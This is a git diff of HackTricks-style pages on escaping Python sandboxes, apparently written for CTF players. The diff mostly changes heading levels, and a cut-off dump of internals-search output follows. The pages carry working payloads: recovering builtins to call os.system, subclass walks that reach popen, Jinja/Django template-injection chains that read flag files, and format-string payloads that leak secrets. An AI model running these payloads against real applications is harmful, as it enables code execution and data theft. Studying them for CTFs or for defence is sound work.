-## Builtins +# Builtins * [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html) * [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html) @@ -147,7 +145,7 @@ __builtins__.__import__("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls") ``` -### No Builtins +## No Builtins When you don't have `__builtins__` you are not going to be able to import anything nor even read or write files as **all the global functions** (like `open`, `import`, `print`...) **aren't loaded**.\ However, **by default python import a lot of modules in memory**. This modules may seem benign, but some of them are **also importing dangerous** functionalities inside of them that can be accessed to gain even **arbitrary code execution**. @@ -177,11 +175,11 @@ import __builtin__ get_flag.__globals__['__builtins__']['__import__']("os").system("ls") ``` -#### Python3 +### Python3 ```python # Obtain builtins from a globally defined function -## https://docs.python.org/3/library/functions.html +# https://docs.python.org/3/library/functions.html print.__self__ dir.__self__ globals.__self__ @@ -196,7 +194,7 @@ get_flag.__globals__['__builtins__'] [**Below there is a bigger function**](./#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **builtins**. -#### Python2 and Python3 +### Python2 and Python3 ```python # Recover __builtins__ and make eveything easier @@ -204,7 +202,7 @@ __builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ __builtins__["__import__"]('os').system('ls') ``` -### Builtins payloads +## Builtins payloads ```python # Possible payloads once you have found the builtins @@ -214,7 +212,7 @@ __builtins__["__import__"]('os').system('ls') # See them below ``` -## Globals and locals +# Globals and locals Checking the **`globals`** and **`locals`** is a good way to know what you can access. @@ -237,18 +235,18 @@ class_obj.__init__.__globals__ # Obtaining globals from __init__ of loaded classes [ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ] [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] -## Without the use of the dir() function +# Without the use of the dir() function [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] ``` [**Below there is a bigger function**](./#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **globals**. -## Discover Arbitrary Execution +# Discover Arbitrary Execution Here I want to explain how to easily discover **more dangerous functionalities loaded** and propose more reliable exploits. -#### Accessing subclasses with bypasses +### Accessing subclasses with bypasses One of the most sensitive parts of this technique is to be able to **access the base subclasses**. In the previous examples this was done using `''.__class__.__base__.__subclasses__()` but there are **other possible ways**: @@ -265,19 +263,19 @@ open.__class__.__base__.__subclasses__() defined_func.__class__.__base__.__subclasses__() #You can also access it without "__base__" or "__class__" -## You can apply the previous technique also here +# You can apply the previous technique also here "".__class__.__bases__[0].__subclasses__() "".__class__.__mro__[1].__subclasses__() "".__getattribute__("__class__").mro()[1].__subclasses__() "".__getattribute__("__class__").__base__.__subclasses__() #If attr is present you can access everything as string -## This is common in Djanjo (and Jinja) environments +# This is common in Djanjo (and Jinja) environments (''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read() (''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read() ``` -### Finding dangerous libraries loaded +## Finding dangerous libraries loaded For example, knowing that with the library **`sys`** it's possible to **import arbitrary libraries**, you can search for all the **modules loaded that have imported sys inside of them**: @@ -385,7 +383,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil """ ``` -## Recursive Search of Builtins, Globals... +# Recursive Search of Builtins, Globals... {% hint style="warning" %} This is just **awesome**. If you are **looking for an object like globals, builtins, open or anything** just use this script to **recursively find places were you can find that object.** @@ -513,7 +511,7 @@ You can check the output of this script in this page: [output-searching-python-internals.md](output-searching-python-internals.md) {% endcontent-ref %} -## Python Format String +# Python Format String If you **send** a **string** to python that is going to be **formatted**, you can use `{}` to access **python internal information.** You can use the previous examples to access globals or builtins for example. @@ -568,7 +566,7 @@ class HAL9000(object): **More examples** about **format** **string** examples can be found in [**https://pyformat.info/**](https://pyformat.info) -### Sensitive Information Disclosure Payloads +## Sensitive Information Disclosure Payloads ```python {whoami.__class__.__dict__} @@ -581,7 +579,7 @@ class HAL9000(object): {whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__} ``` -## Dissecting Python Objects +# Dissecting Python Objects {% hint style="info" %} If you want to **learn** about **python bytecode** in depth read these **awesome** post about the topic: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) @@ -602,7 +600,7 @@ def get_flag(some_input): return "Nope" ``` -#### dir +### dir ```python dir() #General dir() to find what we have loaded @@ -611,7 +609,7 @@ dir(get_flag) #Get info tof the function ['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name'] ``` -#### globals +### globals `__globals__` and `func_globals`(Same) Obtains the global environment. In the example you can see some imported modules, some global variables and their content declared: @@ -626,7 +624,7 @@ CustomClassObject.__class__.__init__.__globals__ [**See here more places to obtain globals**](./#globals-and-locals) -### **Accessing the function code** +## **Accessing the function code** **`__code__`** and `func_code`: You can **access** this **attribute** of the function to **obtain the code object** of the function. @@ -644,10 +642,10 @@ dir(get_flag.__code__) ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames'] ``` -### Getting Code Information +## Getting Code Information ```python -## Another example +# Another example s = ''' a = 5 b = 'text' @@ -692,7 +690,7 @@ get_flag.__code__.co_code 'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S' ``` -### **Disassembly a function** +## **Disassembly a function** ```python import dis @@ -746,7 +744,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0 47 RETURN_VALUE ``` -## Compiling Python +# Compiling Python Now, lets imagine that somehow you can **dump the information about a function that you cannot execute** but you **need** to **execute** it.\ Like in the following example, you **can access the code object** of that function, but just reading the disassemble you **don't know how to calculate the flag** (_imagine a more complex `calc_flag` function_) @@ -764,7 +762,7 @@ def get_flag(some_input): return "Nope" ``` -### Creating the code object +## Creating the code object First of all, we need to know **how to create and execute a code object** so we can create one to execute our function leaked: @@ -781,7 +779,7 @@ code_obj = code_type(co_argcount, co_kwonlyargcount, # Execution eval(code_obj) #Execute as a whole script -## If you have the code of a function, execute it +# If you have the code of a function, execute it mydict = {} mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") @@ -797,7 +795,7 @@ types.CodeType.__doc__ ``` {% endhint %} -### Recreating a leaked function +## Recreating a leaked function {% hint style="warning" %} In the following example we are going to take all the data needed to recreate the function from the function code object directly. In a **real example**, all the **values** to execute the function **`code_type`** is what **you will need to leak**. @@ -814,7 +812,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode") #ThisIsTheFlag ``` -### Bypass Defenses +## Bypass Defenses In previous examples at the begging of this post you can see **how to execute any python code using the `compile` function**. This is really interesting because you can **execute whole scripts** with loops and everything in a **one liner** (and we could do the same using **`exec`**).\ Anyway, sometimes it could be useful to **create** a **compiled object** in a local machine and execute it in the **CTF machine** (for example because we don't have the `compiled` function in the CTF). @@ -858,7 +856,7 @@ f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdi f(42) ``` -## Decompiling Compiled Python +# Decompiling Compiled Python Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) one can **decompile** given compiled python code. @@ -868,9 +866,9 @@ Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) o [.pyc.md](../../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md) {% endcontent-ref %} -## Misc Python +# Misc Python -### Assert +## Assert Python executed with optimizations with the param `-O` will remove asset statements and any code conditional on the value of **debug**.\ Therefore, checks like @@ -886,7 +884,7 @@ def check_permission(super_user): will be bypassed -## References +# References * [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/) * [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/) diff --git a/misc/basic-python/bypass-python-sandboxes/output-searching-python-internals.md b/misc/basic-python/bypass-python-sandboxes/output-searching-python-internals.md index 282448a9..10627459 100644 --- a/misc/basic-python/bypass-python-sandboxes/output-searching-python-internals.md +++ b/misc/basic-python/bypass-python-sandboxes/output-searching-python-internals.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Output Searching Python internals - ```text {'__globals__': {"Subclass 109: ..__next__.__class__", "Subclass 177: ..push.__reduce_ex__.__self__", "Subclass 164: ..repr_list.__init_subclass__.__self__", "Subclass 130: ..__class__._abc_caches_clear.__class__", "Subclass 134: ..__repr__.__str__.__self__", "Subclass 105: ..__init__.__gt__.__self__", "Subclass 140: ..__exit__.__call__.__self__", "Subclass 199: ..resource_path.__init__.__self__", "Subclass 104: ..find_loader.__subclasshook__.__self__", "Subclass 185: .._Tokenizer__next.__new__.__self__", "Subclass 87: ..__enter__.__le__.__self__", "Subclass 109: ..seek.__get__.__self__", "Subclass 135: ..__init_subclass__.__self__.__call__", "Subclass 96: ..get_code.__init_subclass__.__self__", "Subclass 177: ..__init__.__subclasshook__.__self__", "Subclass 138: ..__await__.__subclasshook__.__self__", "Subclass 198: ..load_module.__subclasshook__.__self__", "Subclass 185: ..tell.__repr__.__objclass__", "Subclass 138: ..close.__le__.__self__", "Subclass 164: .._repr_iterable.__ne__.__self__", "Subclass 97: ..invalidate_caches.__func__.__class__", "Subclass 130: ..__len__.__call__.__self__", "Subclass 96: ..create_module.__repr__.__objclass__", "Subclass 133: ..__getattr__.__sizeof__.__self__", "Subclass 138: ..__iter__.__le__.__self__", "Subclass 108: ..decode.__repr__.__self__", "Subclass 164: ..repr_dict.__ge__.__self__", "Subclass 119: ..__class__._abc_registry_clear.__class__", "Subclass 80: ..acquire.__repr__.__self__", "Subclass 107: ..__subclasshook__.__self__.__init__", "Subclass 174: ..__get__.__str__.__self__", "Subclass 104: ..get_data.__new__.__self__", "Subclass 139: ..__init__.__reduce_ex__.__self__", "Subclass 185: ..get.__repr__.__self__", "Subclass 186: ..scan.__get__.__objclass__", "Subclass 184: ..dump.__delattr__.__self__", "Subclass 137: ..deleter.__repr__.__objclass__", "Subclass 131: ..__class__._abc_caches_clear", "Subclass 106: ..__init_subclass__.__self__.decode", "Subclass 93: ..__weakref__.__objclass__.exec_module", "Subclass 184: ..append.__delattr__.__self__", "Subclass 95: .._get_parent_path.__repr__.__self__", "Subclass 110: ..reset.__new__.__self__", "Subclass 184: ..__len__.__ge__.__self__", "Subclass 104: ..get_resource_reader.__repr__.__self__", "Subclass 184: ..__getitem__.__getattribute__.__self__", "Subclass 96: ..load_module.__call__.__objclass__", "Subclass 140: ..__exit__.__dir__.__self__", "Subclass 109: ..read.__call__.__objclass__", "Subclass 93: ..create_module.__init_subclass__.__self__", "Subclass 177: ..__init__.__get__.__self__", "Subclass 185: ..get.__gt__.__self__", "Subclass 95: ..__contains__.__new__.__self__", "Subclass 105: ..is_resource.__delattr__.__self__", "Subclass 110: ..read.__reduce_ex__.__self__", "Subclass 138: ..close.__new__.__self__", "Subclass 164: ..repr1.__subclasshook__.__self__", "Subclass 104: ..get_code.__le__.__self__", "Subclass 137: ..__init_subclass__.__self__.getter", "Subclass 133: ..__enter__.__repr__.__objclass__", "Subclass 134: ..__repr__.__repr__.__self__", "Subclass 138: ..__init__.__get__.__objclass__", "Subclass 94: ..__eq__.__dir__.__self__", "Subclass 138: ..throw.__get__.__self__", "Subclass 98: ..find_spec.__dir__.__self__", "Subclass 110: ..write.__sizeof__.__self__", "Subclass 135: ..__init__.__get__.__objclass__", "Subclass 98: ..__weakref__.__objclass__.__repr__", "Subclass 95: .._find_parent_path_names.__lt__.__self__", "Subclass 110: ..readline.__setattr__.__self__", "Subclass 133: ..__enter__.__delattr__.__self__", "Subclass 139: ..__str__.__class__", "Subclass 138: ..__init__.__repr__.__objclass__", "Subclass 183: ..closegroup.__le__.__self__", "Subclass 83: ..__init_subclass__.__self__.__eq__", "Subclass 109: ..__getattr__.__ne__.__self__", "Subclass 164: ..repr_dict.__call__.__self__", "Subclass 98: ..find_loader.__setattr__.__self__", "Subclass 107: ..reset.__ne__.__self__", "Subclass 133: ..__exit__.__delattr__.__self__", "Subclass 105: ..__init__.__ne__.__self__", "Subclass 108: ..__init__.__init__.__self__", "Subclass 138: ..send.__repr__.__objclass__", "Subclass 110: ..writelines.__init__.__self__", "Subclass 136: ..__repr__.__ge__.__self__", "Subclass 82: ..__init__.__sizeof__.__self__", "Subclass 86: ..create_module.__func__.__class__", "Subclass 174: ..__get__.__eq__.__self__", "Subclass 108: ..getstate.__eq__.__self__", "Subclass 164: ..__subclasshook__.__self__.repr_list", "Subclass 108: ..decode.__eq__.__self__", "Subclass 185: ..error.__subclasshook__.__self__", "Subclass 140: ..__exit__.__reduce__.__self__", "Subclass 164: ..repr_tuple.__new__.__self__", "Subclass 196: ..Pattern.__class__.__getitem__", "Subclass 95: ..append.__str__.__self__", "Subclass 197: ..__init_subclass__.__self__.find_module", "Subclass 104: ..get_resource_reader.__sizeof__.__self__", "Subclass 86: ..module_repr.__str__.__self__", "Subclass 110: ..readline.__get__.__objclass__", "Subclass 137: ..__set__.__reduce__.__self__", "Subclass 164: ..repr.__le__.__self__", "Subclass 195: ..BinaryIO.writable", "Subclass 136: ..__call__.__reduce__.__self__", "Subclass 196: ..Match.__class__.__subclasscheck__", "Subclass 105: ..open_resource.__sizeof__.__self__", "Subclass 133: ..__enter__.__reduce__.__self__", "Subclass 106: ..encode.__class__", "Subclass 164: ..repr1.__call__.__self__", "Subclass 183: ..closegroup.__call__.__self__", "Subclass 164: ..repr_int.__hash__.__self__", "Subclass 93: ..is_package.__ne__.__self__", "Subclass 172: ..__init__.__dir__.__self__", "Subclass 87: ..__weakref__.__objclass__.__exit__", "Subclass 185: ..__weakref__.__objclass__.match", "Subclass 108: ..__init__.__init_subclass__.__self__", "Subclass 164: ..__subclasshook__.__self__.repr_frozenset", "Subclass 139: ..__init__.__reduce__.__self__", "Subclass 199: ..resource_path.__init_subclass__.__self__", "Subclass 184: ..insert.__repr__.__objclass__", "Subclass 109: ..__next__.__get__.__objclass__", "Subclass 110: ..__enter__.__ge__.__self__", "Subclass 172: ..__init_subclass__.__self__._make_unbound_method", "Subclass 131: ..__class__._dump_registry", "Subclass 94: ..__eq__.__init__.__self__", "Subclass 95: ..append.__repr__.__objclass__", "Subclass 81: ..__init__.__new__.__self__", "Subclass 164: ..repr_str.__init_subclass__.__self__", "Subclass 105: ..contents.__repr__.__objclass__", "Subclass 135: ..__call__.__str__.__self__", "Subclass 179: ..__class__.__setattr__.__class__", "Subclass 184: ..dump.__get__.__self__", "Subclass 132: ..__call__.__ne__.__self__", "Subclass 82: ..__exit__.__call__.__objclass__", "Subclass 98: .._get_spec.__ge__.__self__", "Subclass 94: ..is_resource.__repr__.__objclass__", "Subclass 164: ..repr_dict.__sizeof__.__self__", "Subclass 96: ..create_module.__gt__.__self__", "Subclass 109: ..__enter__", "Subclass 110: ..__init__.__lt__.__self__", "Subclass 164: ..repr_set.__repr__.__self__", "Subclass 196: ..Pattern.copy_with.__func__", "Subclass 94: ..open_resource.__reduce__.__self__", "Subclass 80: ..__weakref__.__objclass__.release", "Subclass 183: ..checkgroup.__init_subclass__.__self__", "Subclass 177: ..push.__call__.__objclass__", "Subclass 174: ..__get__.__get__.__self__", "Subclass 137: ..deleter.__setattr__.__self__", "Subclass 174: ..__init__", "Subclass 164: ..repr_set", "Subclass 192: ..__new__.__get__.__self__", "Subclass 104: ..__init__.__setattr__.__self__", "Subclass 186: ..__init__.__get__.__self__", "Subclass 184: ..__init__.__init__.__self__", "Subclass 133: ..__iter__.__call__.__self__", "Subclass 177: ..__weakref__.__objclass__.__init__", "Subclass 164: ..repr_int.__setattr__.__self__", "Subclass 98: ..__subclasshook__.__self__.find_loader", "Subclass 95: ..__iter__.__delattr__.__self__", "Subclass 105: ..open_resource.__call__.__self__", "Subclass 110: ..readlines.__ne__.__self__", "Subclass 114: ..__hash__.__eq__.__self__", "Subclass 81: ..__init__.__init__.__self__", "Subclass 107: ..__init__.__new__.__self__", "Subclass 183: ..opengroup.__repr__.__objclass__", "Subclass 109: ..__init__.__setattr__.__self__", "Subclass 108: ..reset.__lt__.__self__", "Subclass 105: ..open_resource.__subclasshook__.__self__", "Subclass 104: ..__repr__", "Subclass 87: ..__exit__.__init_subclass__.__self__", "Subclass 98: ..__weakref__.__objclass__.__init__", "Subclass 110: ..__iter__.__class__", "Subclass 110: ..__exit__.__eq__.__self__", "Subclass 98: ..__repr__.__format__.__self__", "Subclass 172: ..__init__.__get__.__self__", "Subclass 174: ..__init__.__delattr__.__self__", "Subclass 109: ..__getattr__.__setattr__.__self__", "Subclass 114: ..__hash__.__hash__.__self__", "Subclass 119: ..__init_subclass__.__self__.__iter__", "Subclass 96: ..module_repr.__self__.get_source", "Subclass 173: ..__get__.__setattr__.__self__", "Subclass 98: ..__weakref__.__objclass__.find_module", "Subclass 192: ..__init_subclass__.__func__.__class__", "Subclass 110: ..seek.__str__.__self__", "Subclass 95: ..append.__setattr__.__self__", "Subclass 164: ..repr_tuple.__dir__.__self__", "Subclass 81: ..__subclasshook__.__self__.release", "Subclass 137: ..__get__.__init_subclass__.__self__", "Subclass 95: ..__contains__.__le__.__self__", "Subclass 95: ..__setitem__.__eq__.__self__", "Subclass 107: ..setstate.__reduce__.__self__", "Subclass 164: ..repr_int", "Subclass 94: ..get_resource_reader.__lt__.__self__", "Subclass 104: ..__init__.__repr__.__self__", "Subclass 135: .._Printer__setup.__setattr__.__self__", "Subclass 139: ..__str__.__getattribute__.__self__", "Subclass 105: ..contents.__get__.__objclass__", "Subclass 188: ..__deepcopy__.__init__.__self__", "Subclass 184: ..__len__.__le__.__self__", "Subclass 110: ..__init_subclass__.__self__.__next__", "Subclass 105: ..__init__.__subclasshook__.__self__", "Subclass 109: ..__enter__.__reduce__.__self__", "Subclass 177: ..__init__.__lt__.__self__", "Subclass 177: .._push_cm_exit.__gt__.__self__", "Subclass 177: .._push_cm_exit.__delattr__.__self__", "Subclass 195: ..IO.__init_subclass__.__func__", "Subclass 109: ..__getattr__.__format__.__self__", "Subclass 110: ..write.__setattr__.__self__", "Subclass 136: ..__call__.__new__.__self__", "Subclass 164: ..__init__.__get__.__objclass__", "Subclass 173: ..__get__.__delattr__.__self__", "Subclass 183: ..opengroup.__class__", "Subclass 199: ..open_resource", "Subclass 137: ..__set__.__init__.__self__", "Subclass 198: ..module_repr.__sizeof__.__self__", "Subclass 80: ..release.__new__.__self__", "Subclass 184: ..__weakref__.__objclass__.__repr__", "Subclass 139: ..__init__.__ge__.__self__", "Subclass 96: ..load_module.__ge__.__self__", "Subclass 105: ..resource_path.__new__.__self__", "Subclass 95: ..__getitem__.__repr__.__self__", "Subclass 175: ..__call__.__repr__.__objclass__", "Subclass 184: ..append.__sizeof__.__self__", "Subclass 110: ..reset.__repr__.__objclass__", "Subclass 95: ..append.__init__.__self__", "Subclass 98: ..__init_subclass__.__self__.find_loader", "Subclass 110: ..__init__.__hash__.__self__", "Subclass 173: ..__init__", "Subclass 134: ..__call__.__lt__.__self__", "Subclass 81: ..acquire.__init_subclass__.__self__", "Subclass 197: ..find_module.__setattr__.__self__", "Subclass 107: ..setstate.__init_subclass__.__self__", "Subclass 94: ..get_resource_reader.__repr__.__self__", "Subclass 96: ..load_module.__delattr__.__self__", "Subclass 164: ..repr_int.__get__.__objclass__", "Subclass 137: ..__get__.__repr__.__objclass__", "Subclass 185: .._Tokenizer__next.__reduce__.__self__", "Subclass 138: ..__init__.__hash__.__self__", "Subclass 135: ..__call__.__call__.__objclass__", "Subclass 137: ..__init__.__reduce__.__self__", "Subclass 107: ..encode.__init_subclass__.__self__", "Subclass 196: ..Pattern.__class__.__subclasscheck__", "Subclass 106: ..encode.__getattribute__.__self__", "Subclass 115: ..__await__.__str__.__self__", "Subclass 110: ..__getattr__.__gt__.__self__", "Subclass 198: ..create_module.__init__.__self__", "Subclass 140: ..__init__.__init__.__self__", "Subclass 199: ..open_resource.__str__.__self__", "Subclass 109: ..readlines.__repr__.__self__", "Subclass 197: ..find_module.__subclasshook__.__self__", "Subclass 177: .._create_exit_wrapper.__get__.__self__", "Subclass 104: ..get_source.__lt__.__self__", "Subclass 98: .._fill_cache.__str__.__self__", "Subclass 198: ..module_repr.__delattr__.__self__", "Subclass 134: ..__repr__.__class__", "Subclass 86: ..is_package.__self__.exec_module", "Subclass 196: ..Match.__reduce__.__func__", "Subclass 140: ..__enter__.__get__.__self__", "Subclass 109: ..__init_subclass__.__self__.readline", "Subclass 134: ..__init__.__get__.__self__", "Subclass 109: ..__getattr__.__init_subclass__.__self__", "Subclass 183: ..opengroup.__hash__.__self__", "Subclass 138: ..__next__.__hash__.__self__", "Subclass 94: ..get_filename.__repr__.__self__", "Subclass 110: ..readlines.__lt__.__self__", "Subclass 94: ..__hash__.__ge__.__self__", "Subclass 94: ..resource_path.__sizeof__.__self__", "Subclass 107: ..getstate.__ne__.__self__", "Subclass 96: ..module_repr.__self__.is_package", "Subclass 135: ..__call__.__init_subclass__.__self__", "Subclass 98: ..find_module.__call__.__objclass__", "Subclass 107: ..setstate.__repr__.__objclass__", "Subclass 173: ..__get__.__le__.__self__", "Subclass 140: ..__init__.__dir__.__self__", "Subclass 83: ..__init__.__call__.__self__", "Subclass 104: ..get_data.__reduce__.__self__", "Subclass 133: ..__enter__.__call__.__objclass__", "Subclass 107: ..__init__.__class__", "Subclass 195: ..TextIO.read", "Subclass 140: ..__exit__.__repr__.__self__", "Subclass 96: ..get_source.__setattr__.__self__", "Subclass 164: ..repr.__get__.__objclass__", "Subclass 177: .._create_exit_wrapper.__getattribute__.__self__", "Subclass 105: ..__subclasshook__.__self__.__init__", "Subclass 133: ..__weakref__.__objclass__.__enter__", "Subclass 172: .._make_unbound_method.__format__.__self__", "Subclass 177: ..enter_context.__setattr__.__self__", "Subclass 94: ..get_filename", "Subclass 177: ..pop_all.__call__.__objclass__", "Subclass 109: ..__getattr__.__reduce__.__self__", "Subclass 81: ..__repr__.__reduce_ex__.__self__", "Subclass 110: ..__getattr__.__new__.__self__", "Subclass 109: ..reset.__eq__.__self__", "Subclass 164: .._repr_iterable.__subclasshook__.__self__", "Subclass 104: ..get_filename.__le__.__self__", "Subclass 110: ..read.__ge__.__self__", "Subclass 177: ..__subclasshook__.__self__.push", "Subclass 164: ..repr_list.__dir__.__self__", "Subclass 184: ..append.__dir__.__self__", "Subclass 184: ..dump.__ne__.__self__", "Subclass 199: ..open_resource.__setattr__.__self__", "Subclass 80: ..__init__.__dir__.__self__", "Subclass 96: ..__init__.__class__", "Subclass 164: ..repr_deque.__get__.__objclass__", "Subclass 81: ..__init__.__hash__.__self__", "Subclass 95: ..__subclasshook__.__self__.append", "Subclass 185: ..getwhile.__reduce__.__self__", "Subclass 197: ..find_module.__ne__.__self__", "Subclass 94: ..get_data.__sizeof__.__self__", "Subclass 185: ..get.__call__.__self__", "Subclass 184: ..__delitem__.__reduce__.__self__", "Subclass 183: ..opengroup.__call__.__self__", "Subclass 94: ..load_module.__class__", "Subclass 109: ..readlines.__call__.__self__", "Subclass 185: ..getwhile.__get__.__self__", "Subclass 95: .._get_parent_path.__ne__.__self__", "Subclass 86: ..get_source.__self__.exec_module", "Subclass 95: ..__iter__.__reduce__.__self__", "Subclass 109: ..__iter__.__delattr__.__self__", "Subclass 104: ..load_module.__le__.__self__", "Subclass 195: ..TextIO.readable", "Subclass 80: ..has_deadlock.__call__.__self__", "Subclass 95: ..__init__.__subclasshook__.__self__", "Subclass 185: ..tell.__str__.__self__", "Subclass 164: ..__init__.__new__.__self__", "Subclass 137: ..deleter.__repr__.__self__", "Subclass 93: ..load_module.__call__.__objclass__", "Subclass 83: ..__init_subclass__.__self__.__init__", "Subclass 195: ..IO.__enter__", "Subclass 130: ..__len__.__reduce_ex__.__self__", "Subclass 110: ..write.__hash__.__self__", "Subclass 177: .._create_cb_wrapper.__eq__.__self__", "Subclass 104: ..get_filename.__new__.__self__", "Subclass 196: ..Pattern.__getattr__.__func__", "Subclass 184: ..append.__hash__.__self__", "Subclass 109: ..__exit__.__call__.__self__", "Subclass 140: ..__subclasshook__.__self__.__repr__", "Subclass 184: ..__setitem__.__class__", "Subclass 98: ..__repr__.__eq__.__self__", "Subclass 184: ..__getitem__.__repr__.__self__", "Subclass 185: ..getuntil.__new__.__self__", "Subclass 107: ..__weakref__.__objclass__.__init__", "Subclass 114: ..__hash__.__reduce_ex__.__self__", "Subclass 199: ..contents.__dir__.__self__", "Subclass 197: ..find_module.__reduce__.__self__", "Subclass 199: ..is_resource.__le__.__self__", "Subclass 94: ..__hash__.__format__.__self__", "Subclass 83: ..__init__.__init_subclass__.__self__", "Subclass 133: ..__iter__.__ne__.__self__", "Subclass 184: ..__repr__.__new__.__self__", "Subclass 95: ..__getitem__.__call__.__objclass__", "Subclass 94: ..get_filename.__repr__.__objclass__", "Subclass 109: ..__iter__.__repr__.__objclass__", "Subclass 110: ..reset.__reduce__.__self__", "Subclass 81: ..acquire.__le__.__self__", "Subclass 137: ..__delete__.__lt__.__self__", "Subclass 188: ..__init_subclass__.__self__.__deepcopy__", "Subclass 164: ..repr_array", "Subclass 82: ..__init__.__gt__.__self__", "Subclass 188: ..__deepcopy__.__init_subclass__.__self__", "Subclass 110: ..__getattr__.__repr__.__self__", "Subclass 185: ..get.__reduce_ex__.__self__", "Subclass 164: ..repr_str.__gt__.__self__", "Subclass 105: ..is_resource.__repr__.__self__", "Subclass 177: .._push_cm_exit.__get__.__objclass__", "Subclass 139: ..__init__.__hash__.__self__", "Subclass 138: ..__init__.__reduce_ex__.__self__", "Subclass 192: ..__new__.__lt__.__self__", "Subclass 94: ..get_data.__delattr__.__self__", "Subclass 109: ..write.__eq__.__self__", "Subclass 104: ..find_loader.__getattribute__.__self__", "Subclass 98: ..__repr__.__get__.__self__", "Subclass 94: ..resource_path.__init__.__self__", "Subclass 104: ..find_loader.__ne__.__self__", "Subclass 107: ..getstate.__lt__.__self__", "Subclass 173: ..__init__.__repr__.__objclass__", "Subclass 94: ..__init__.__getattribute__.__self__", "Subclass 134: ..__call__", "Subclass 104: ..find_module.__get__.__objclass__", "Subclass 96: ..__init__.__dir__.__self__", "Subclass 96: ..__init__.__delattr__.__self__", "Subclass 95: .._recalculate.__delattr__.__self__", "Subclass 94: ..__eq__.__call__.__objclass__", "Subclass 83: ..__init__.__setattr__.__self__", "Subclass 109: ..seek.__get__.__objclass__", "Subclass 115: ..__await__.__repr__.__objclass__", "Subclass 105: ..__init__.__get__.__self__", "Subclass 94: ..is_resource.__repr__.__self__", "Subclass 136: ..__call__.__get__.__self__", "Subclass 107: ..setstate.__sizeof__.__self__", "Subclass 98: ..find_loader.__call__.__objclass__", "Subclass 172: ..__get__.__setattr__.__self__", "Subclass 81: ..__init_subclass__.__self__.__repr__", "Subclass 185: ..getwhile.__init_subclass__.__self__", "Subclass 199: ..open_resource.__dir__.__self__", "Subclass 83: ..__init__.__reduce_ex__.__self__", "Subclass 177: ..pop_all.__class__", "Subclass 81: ..__repr__.__delattr__.__self__", "Subclass 198: ..create_module.__eq__.__self__", "Subclass 115: ..__await__.__le__.__self__", "Subclass 87: ..__exit__.__getattribute__.__self__", "Subclass 96: ..__subclasshook__.__self__.__init__", "Subclass 198: ..create_module.__ne__.__self__", "Subclass 107: ..encode.__ge__.__self__", "Subclass 95: ..__contains__.__call__.__objclass__", "Subclass 98: ..find_spec.__get__.__self__", "Subclass 185: ..__init_subclass__.__self__.getwhile", "Subclass 108: ..getstate.__repr__.__objclass__", "Subclass 98: ..find_spec.__subclasshook__.__self__", "Subclass 177: ..callback.__repr__.__objclass__", "Subclass 98: ..find_loader.__init__.__self__", "Subclass 183: ..closegroup.__get__.__self__", "Subclass 110: ..write.__dir__.__self__", "Subclass 164: .._repr_iterable.__repr__.__objclass__", "Subclass 93: ..load_module.__init__.__self__", "Subclass 197: ..find_module.__repr__.__self__", "Subclass 114: ..__class__.__subclasscheck__", "Subclass 132: ..__class_getitem__.__func__.__getitem__", "Subclass 164: ..repr_int.__repr__.__self__", 